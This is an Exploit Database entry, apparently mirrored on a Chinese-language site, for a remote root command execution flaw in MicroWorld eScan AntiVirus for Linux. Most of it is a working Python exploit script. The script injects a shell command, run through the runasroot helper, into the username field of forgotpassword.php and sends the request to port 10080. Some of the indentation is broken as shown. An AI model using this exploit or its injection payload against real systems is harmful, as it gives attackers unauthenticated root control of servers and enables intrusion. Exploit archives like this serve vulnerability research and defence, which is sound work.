Microworld eScan AntiVirus < 3.x - Remote Code Execution

• Exploit Database
• 6 阅读

• 作者： Mohammed almutairi
  日期： 2010-03-13
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/11720/

• #!/usr/bin/env python
  import sys
  from socket import *
  
  #auther: Mohammed almutairi
  #(Sa.attacker@gmail.com)
  """
  MicroWorld eScan Antivirus < 3.xRemote Root Command Execution
  Package MWADMIN package vulnerabilities (linux)
  The Base Packages (MWADMIN and MWAV) must be installed before eScan
  Link:
  http://www.escanav.com/english/content/products/escan_linux/linux_products.asp
  infcted: aLL version 3.X eScan linux
  1-Escan for Linux Desktop
  2-Escan for Linux file Servers
  3-MailScan for Linux and webscan
  Tested On RedHatand Fedora
  ULTRA PRIV8 :)
  
  Description:
  
  From /opt/MicroWorld/var/www/htdocs/forgotpassword.php:
  include("common_functions.php");<---> (1)
  
  if ($_POST['forgot'] == "Send Password")
  {
  $user = $_POST["uname"]; <--->(2) insecure:(
  
  
  vulnerable code in forgotpassword.php and common_functions.php 
  in (1) $runasroot = "/opt/MicroWorld/sbin/runasroot";
  we can injection through via the file forgotpassword.php As you can see (2)
  withremote root Command Execution
  >> eScan.py www.***.com
  eScan@/bin/sh:$Sa$ => reboot
  [*] Done! sent to: www.***.com
  """
  
  def xpl():
  	if len(sys.argv) < 2:
  print "[*] MicroWorld eScan Antivirus Remote Root Command Execution"
  print "[*] exploited by Mohammed almutairi"
  		print "[*] usage: %s host" % sys.argv[0]
  		return
  
  	host = sys.argv[1]
  	port = 10080 # default port
  	cmd = raw_input("eScan@/bin/sh:$Sa$ => ")
  	sock=socket(AF_INET, SOCK_STREAM)
  	sock.connect((host,port))
  sh="/opt/MicroWorld/sbin/runasroot /bin/sh -c '%s'" % cmd
  
  sa= "uname=;%s;" %sh # (;sh;)---> Here Play See to ^(2)^
  sa+= "&forgot=Send+Password"
  
  s="POST /forgotpassword.php HTTP/1.1\r\n"
  s+="Host: %s:%d\r\n"%(host, port)
  s+="User-Agent: */*\r\n"
  s+="Accept: ar,en-us;q=0.7,en;q=0.3\r\n"
  s+="Content-Type: application/x-www-form-urlencoded\r\n"
  s+="Content-Length: %d \r\n\r\n"%len(sa)
  s+=sa
  
  	sock.sendall(s)
  	print "[*] Done! sent to: %s" % host
  	sock.close()
  
  if __name__=="__main__":
  xpl()
  	sys.exit(0)